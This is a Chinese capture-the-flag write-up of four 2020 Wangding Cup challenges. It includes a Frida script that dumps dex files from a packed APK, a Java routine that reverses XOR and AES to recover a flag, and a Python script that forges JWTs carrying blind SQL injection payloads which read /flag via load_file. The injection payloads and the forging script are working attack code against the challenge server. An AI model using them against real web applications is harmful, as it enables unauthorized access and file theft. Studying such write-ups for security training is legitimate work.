2020網鼎杯玄武組部分題writeup(簽到/vulcrack/java/js_on)

簽到題

思路

瀏覽器F12,調取ajax,輸入隊伍token,獲取flag

過程

(1)瀏覽器進入F12查看js,看到game_manage.js這個js,看名字像是控制遊戲的
在這裏插入圖片描述
(2)進入js,通過搜索“move”和“ajax”等關鍵字,以及if (f.value == 1024)條件,看到如下代碼,是給後端發請求並彈窗
在這裏插入圖片描述
(3)複製該段代碼到console,執行,瀏覽器彈窗,輸入戰隊token,成功獲取flag
在這裏插入圖片描述
在這裏插入圖片描述

vulcrack

思路

脫殼APK獲取flag

過程

Step 1: 下載apk文件,在frida中使用自己編寫的腳本進行脫殼
Step 2: 在jadx中打開脫殼後拿到的dex文件
在這裏插入圖片描述
Step 3:在jadx中觀察源碼發現,有個名爲Flag的類,進入查看源碼
在這裏插入圖片描述
Step 4:執行flag中的calcFlagFirstStep()和calcFlagSecondStep()
在這裏插入圖片描述
Step 5:把兩個函數的運行結果拼起來,拿到flag並提交
附上frida利用腳本

'use strict';

function LogPrint(log) {
    var theDate = new Date();
    var hour = theDate.getHours();
    var minute = theDate.getMinutes();
    var second = theDate.getSeconds();
    var mSecond = theDate.getMilliseconds()

    hour < 10 ? hour = "0" + hour : hour;
    minute < 10 ? minute = "0" + minute : minute;
    second < 10 ? second = "0" + second : second;
    mSecond < 10 ? mSecond = "00" + mSecond : mSecond < 100 ? mSecond = "0" + mSecond : mSecond;

    var time = hour + ":" + minute + ":" + second + ":" + mSecond;
    console.log("[" + time + "] " + log);
}

function getAndroidVersion() {
    var version = 0;

    if (Java.available) {
        var versionStr = Java.androidVersion;
        version = versionStr.slice(0, 1);
    } else {
        LogPrint("Error: cannot get android version");
    }
    LogPrint("Android Version: " + version);
    return version;
}

function getFunctionName() {
    var i = 0;
    var functionName = "";

    // Android 4: hook dvmDexFileOpenPartial
    // Android 5: hook OpenMemory
    // after Android 5: hook OpenCommon
    if (getAndroidVersion() > 4) { // android 5 and later version
        var artExports = Module.enumerateExportsSync("libart.so");
        for (i = 0; i < artExports.length; i++) {
            if (artExports[i].name.indexOf("OpenMemory") !== -1) {
                functionName = artExports[i].name;
                LogPrint("index " + i + " function name: " + functionName);
                break;
            } else if (artExports[i].name.indexOf("OpenCommon") !== -1) {
                functionName = artExports[i].name;
                LogPrint("index " + i + " function name: " + functionName);
                break;
            }
        }
    } else { //android 4
        var dvmExports = Module.enumerateExportsSync("libdvm.so");
        if (dvmExports.length !== 0) { // check libdvm.so first
            for (i = 0; i < dvmExports.length; i++) {
                if (dvmExports[i].name.indexOf("dexFileParse") !== -1) {
                    functionName = dvmExports[i].name;
                    LogPrint("index " + i + " function name: " + functionName);
                    break;
                }
            }
        } else { // if not load libdvm.so, check libart.so
            dvmExports = Module.enumerateExportsSync("libart.so");
            for (i = 0; i < dvmExports.length; i++) {
                if (dvmExports[i].name.indexOf("OpenMemory") !== -1) {
                    functionName = dvmExports[i].name;
                    LogPrint("index " + i + " function name: " + functionName);
                    break;
                }
            }
        }
    }
    return functionName;
}

function getProcessName() {
    var processName = "";

    var fopenPtr = Module.findExportByName("libc.so", "fopen");
    var fopenFunc = new NativeFunction(fopenPtr, 'pointer', ['pointer', 'pointer']);
    var fgetsPtr = Module.findExportByName("libc.so", "fgets");
    var fgetsFunc = new NativeFunction(fgetsPtr, 'int', ['pointer', 'int', 'pointer']);

    var pathPtr = Memory.allocUtf8String("/proc/self/cmdline");
    var openFlagsPtr = Memory.allocUtf8String("r");

    var fp = fopenFunc(pathPtr, openFlagsPtr);
    if (fp.isNull() === false) {
        var buffData = Memory.alloc(128);
        var ret = fgetsFunc(buffData, 128, fp);
        if (ret !== 0) {
            processName = Memory.readCString(buffData);
            LogPrint("processName " + processName);
        }
    }
    return processName;
}

function arraybuffer2hexstr(buffer) {
    var hexArr = Array.prototype.map.call(
        new Uint8Array(buffer),
        function (bit) {
            return ('00' + bit.toString(16)).slice(-2)
        }
    );
    return hexArr.join(' ');
}

function checkDexMagic(dataAddr) {
    var magicMatch = true;
    var magicFlagHex = [0x64, 0x65, 0x78, 0x0a, 0x30, 0x33, 0x35, 0x00];

    for (var i = 0; i < 8; i++) {
        if (Memory.readU8(ptr(dataAddr).add(i)) !== magicFlagHex[i]) {
            magicMatch = false;
            break;
        }
    }

    return magicMatch;
}

function checkOdexMagic(dataAddr) {
    var magicMatch = true;
    var magicFlagHex = [0x64, 0x65, 0x79, 0x0a, 0x30, 0x33, 0x36, 0x00];

    for (var i = 0; i < 8; i++) {
        if (Memory.readU8(ptr(dataAddr).add(i)) !== magicFlagHex[i]) {
            magicMatch = false;
            break;
        }
    }

    return magicMatch;
}

function dumpDex(moduleFuncName, processName) {
    if (moduleFuncName !== "") {
        var hookFunction;
        if (getAndroidVersion() > 4) { // android 5 and later version
            hookFunction = Module.findExportByName("libart.so", moduleFuncName);
        } else { // android 4
            hookFunction = Module.findExportByName("libdvm.so", moduleFuncName); // check libdvm.so first
            if (hookFunction == null) {
                hookFunction = Module.findExportByName("libart.so", moduleFuncName); //// if not load libdvm.so, check libart.so
            }
        }
        Interceptor.attach(hookFunction, {
            onEnter: function (args) {
                var begin = 0;
                var dexMagicMatch = false;
                var odexMagicMatch = false;

                dexMagicMatch = checkDexMagic(args[0]);
                if (dexMagicMatch === true) {
                    begin = args[0];
                } else {
                    odexMagicMatch = checkOdexMagic(args[0]);
                    if (odexMagicMatch === true) {
                        begin = args[0];
                    }
                }

                if (begin === 0) {
                    dexMagicMatch = checkDexMagic(args[1]);
                    if (dexMagicMatch === true) {
                        begin = args[1];
                    } else {
                        odexMagicMatch = checkOdexMagic(args[1]);
                        if (odexMagicMatch === true) {
                            begin = args[1];
                        }
                    }
                }

                if (dexMagicMatch === true) {
                    LogPrint("magic : " + Memory.readUtf8String(begin));
                    //console.log(hexdump(begin, { offset: 0, header: false, length: 64, ansi: false }));
                    var address = parseInt(begin, 16) + 0x20;
                    var dex_size = Memory.readInt(ptr(address));
                    LogPrint("dex_size :" + dex_size);
                    var dex_path = "/data/data/" + processName + "/" + dex_size + ".dex";
                    var dex_file = new File(dex_path, "wb");
                    dex_file.write(Memory.readByteArray(begin, dex_size));
                    dex_file.flush();
                    dex_file.close();
                    LogPrint("dump dex success, saved path: " + dex_path + "\n");
                } else if (odexMagicMatch === true) {
                    LogPrint("magic : " + Memory.readUtf8String(begin));
                    //console.log(hexdump(begin, { offset: 0, header: false, length: 64, ansi: false }));
                    var address = parseInt(begin, 16) + 0x0C;
                    var odex_size = Memory.readInt(ptr(address));
                    LogPrint("odex_size :" + odex_size);
                    var odex_path = "/data/data/" + processName + "/" + odex_size + ".odex";
                    var odex_file = new File(odex_path, "wb");
                    odex_file.write(Memory.readByteArray(begin, odex_size));
                    odex_file.flush();
                    odex_file.close();
                    LogPrint("dump odex success, saved path: " + odex_path + "\n");
                }
            },
            onLeave: function (retval) {}
        });
    } else {
        LogPrint("Error: cannot find correct module function.");
    }
}

//start dump dex file
var moduleFucntionName = getFunctionName();
var processName = getProcessName();
if (moduleFucntionName !== "" && processName !== "") {
    dumpDex(moduleFucntionName, processName);
}

java

思路

反編譯java源碼,逆推獲取flag

過程

Step 1: 通過jadx工具進行反編譯出代碼如下:
在這裏插入圖片描述
Step 2: 導出之後,再導入Android Studio,查看代碼邏輯,改了少部分反編譯錯誤代碼後運行:
在這裏插入圖片描述
在這裏插入圖片描述
Step 3: 查看代碼邏輯,發現是用戶輸入值後,通過補位、AES運算和位運算後,再進行base64編碼,與值
“VsBDJCvuhD65/+sL+Hlf587nWuIa2MPcqZaq7GMVWI0Vx8l9R42PXWbhCRftoFB3”相等,則用戶的輸入就是flag,因此下面進行逆運算。

Step 4:如上所說,要逆運算,首先先進行base64解碼,代碼如下:
public static byte[] decode(byte[] bArr){
return Base64.decode(bArr,Base64.NO_WRAP);
}

Step 5: 原來程序的位運算代碼邏輯如下:
public byte[] a(byte[] bArr, int i, int[] iArr) {
if (bArr == null || bArr.length == 0) {
return null;
}
int length = bArr.length;
System.out.println(“data.length”);
System.out.println(length);
for (int i2 = 0; i2 < length; i2++) {
bArr[i2] = (byte) (bArr[i2] ^ i);
}
for (int i3 = 0; i3 < bArr.length; i3++) {
bArr[i3] = (byte) (bArr[i3] ^ iArr[i3]);
}
return bArr;
}
由於該位運算(異或運算)可逆,可寫出逆運算代碼邏輯如下:
/**
*
* @param i = 22
* @param iArr = {214, 144, 233, 254, 204, 225, 61, 183, 22, 182, 43, 103, 20, 194, 40, 251, 44, 5, 43, 103, 154, 118, 42, 190, 4, 195, 43, 103, 170, 68, 19, 38, 73, 134, 43, 103, 153, 156, 66, 80, 244, 145, 80, 103, 239, 152, 122, 98, 50, 214};
*/
public byte[] a1(byte[] bArr, int i, int[] iArr) {
if (bArr == null || bArr.length == 0) {
return null;
}
int length = bArr.length;
for (int i3 = 0; i3 < bArr.length; i3++) {
bArr[i3] = (byte) (bArr[i3] ^ iArr[i3]);
}
for (int i2 = 0; i2 < length; i2++) {
bArr[i2] = (byte) (bArr[i2] ^ i);
}
return bArr;
}

Step 6: 接下來進行AES逆運算,即AES解密,AES祕鑰在源代碼中存在:
/**
* @param bArr 密文,待解密
* @param bArr2 密鑰:aes_check_key!@#
**/
public static byte[] aesDecrypt(byte[] bArr, byte[] bArr2) {
try {
SecretKeySpec secretKeySpec = new SecretKeySpec(bArr2, “AES”);
Cipher instance = Cipher.getInstance(“AES/ECB/NoPadding”);
instance.init(Cipher.DECRYPT_MODE, secretKeySpec);
byte[] decrypt = instance.doFinal(bArr);
System.out.println(“AES解密:”+ Arrays.toString(decrypt));
return decrypt;
} catch (Exception e) {
e.printStackTrace();
return new byte[0];
}
}

Step 7: 結合以上三步:
(1)首先將
“VsBDJCvuhD65/+sL+Hlf587nWuIa2MPcqZaq7GMVWI0Vx8l9R42PXWbhCRftoFB3”進行base64解碼,調用我們Step4中寫好的decode函數
(2)之後進行位運算的,調用我們Step5中寫好的異或的逆運算函數:a1
(3)最後進行aes解密,調用我們Step6中寫好的aesDecrypt函數
寫出整個還原flag的函數代碼爲:
public void test(){
byte[] base64Decode = b64.decode(b.getBytes());
System.out.println(“base64Decode:”+Arrays.toString(base64Decode));
this.d = new d();
byte[] a1 = this.d.a1(base64Decode, 22, this.c);
System.out.println(“位運算:”+Arrays.toString(a1));
byte[] aesSrc = e.aesDecrypt(a1, a.getBytes());
System.out.println(“ASE解密後的字符串:”+new String(aesSrc));
}
(4)該test函數運行後,結果如下:
在這裏插入圖片描述
(5)觀察到flag後有多餘的字符,是由於原始運算的補位形成的,咱們就把最後多餘的6位去掉,在test函數中加上補位運算的逆運算後代碼如下:
public void test(){
byte[] base64Decode = b64.decode(b.getBytes());
System.out.println(“base64Decode:”+Arrays.toString(base64Decode));
this.d = new d();
byte[] a1 = this.d.a1(base64Decode, 22, this.c);
System.out.println(“位運算:”+Arrays.toString(a1));
byte[] aesSrc = e.aesDecrypt(a1, a.getBytes());
System.out.println(“ASE解密後的字符串:”+new String(aesSrc));
System.out.println(aesSrc.length);
byte[] target = new byte[aesSrc.length - 6];
System.arraycopy(aesSrc,0,target,0,target.length);
System.out.println(“最終字符串:”+new String(target));
}
(6)以上完整的test函數運算結果如下,獲取flag:
在這裏插入圖片描述

js_on

思路

jwt中sql注入讀文件獲取flag

過程

Step 1:打開url:
http://xx.changame.ichunqiu.com/login.html,弱口令:admin/admin成功登錄
在這裏插入圖片描述
Step 2:回到登錄頁,發現有個註冊地方,可成功註冊未註冊過的賬號,如:admin2/admin2
在這裏插入圖片描述
Step 3:登錄剛剛自己註冊的admin2賬號,發現輸出不一樣,說x明後端肯定判斷了當前賬號是否爲admin,如果不是,就輸出hello ……等字樣。當前地址爲:http://xx.cloudgame2.ichunqiu.com/index.php
在這裏插入圖片描述
Step 4:瀏覽器F12查看cookie,看到有個token字段,且爲JWT格式,說明該系統通過JWT來標識用戶,且聯想到頁面上顯示的key值爲JWT的token。
在這裏插入圖片描述
Step 5:根據JWT知識,將token內容複製到https://jwt.io/#debugger網站進行base64解碼如下,可看到payload字段的user值爲admin2:
在這裏插入圖片描述
Step 6:Step 3中提到
http://xxx.cloudgame2.ichunqiu.com/index.php頁面對當前用戶進行了判斷,從而決定頁面輸出內容,因此猜測user字段存在sql注入漏洞,進行嘗試。
https://jwt.io/#debugger 右下角填入secret(即頁面上回顯的key值),此處user參數肯定爲字符型,開始構造攻擊語句,左邊獲取對應JWT。
Step7:(1)構造攻擊payload:
{
“user”: “admin’//and//1=2#”,
“news”: “key:xRtYMDqyCCxYxi9a@LgcGpnmM2X8i&6"
}
獲取左邊JWT:
在這裏插入圖片描述
burpsuite發包,響應如下:
在這裏插入圖片描述
(2)構造攻擊payload:
{
“user”: “admin’//and//1=1#”,
“news”: "key:xRt
YMDqyCCxYxi9a@LgcGpnmM2X8i&6”
}
獲取左邊JWT:
在這裏插入圖片描述
burpsuite發包,響應如下:
在這裏插入圖片描述

(3)根據兩個不通響應,能夠確認此處存在sql注入漏洞

Step8:構造攻擊代碼:“user”: "aa’-- “和"user”: "'select"獲取對應JWT,發送請求包發現回包存在“Get Out Hacker!!!”字樣,說明後端有做攻擊檢測。

在這裏插入圖片描述
Step9:結合之前回包的“

這裏是你的信息:???Why there is No Message for you?

”,通過substr+loadfile函數,獲取/flag文件中內容,構造python利用腳本如下:

coding:utf-8

import jwt
import requests

url = 'http://xxx.changame.ichunqiu.com/'
data = ''
dict = '0123456789abcdeflg-{}'
for i in range(1, 60):
	for j in dict:
		encoded_jwt = jwt.encode({"user":"admin'/**/and/**/load_file('/flag')/**/regexp/**/'^" + data + j + "'#","news":"key:xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6"},'xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6',headers={"alg":"HS256","typ":"jwt"})
		cookies = {
			'UM_distinctid':'',
			'Hm_lvt_2d0601bd28de7d49818249cf35d95943':'',
			'__jsluid_h':'',
			'token':encoded_jwt
		}
		try:
			res = requests.get(url=url,cookies=cookies,timeout=3)
			if 'xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6' in res.content:
				data += j
				print(str(data))
				break
		except Exception as e:
			print(str(e))

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章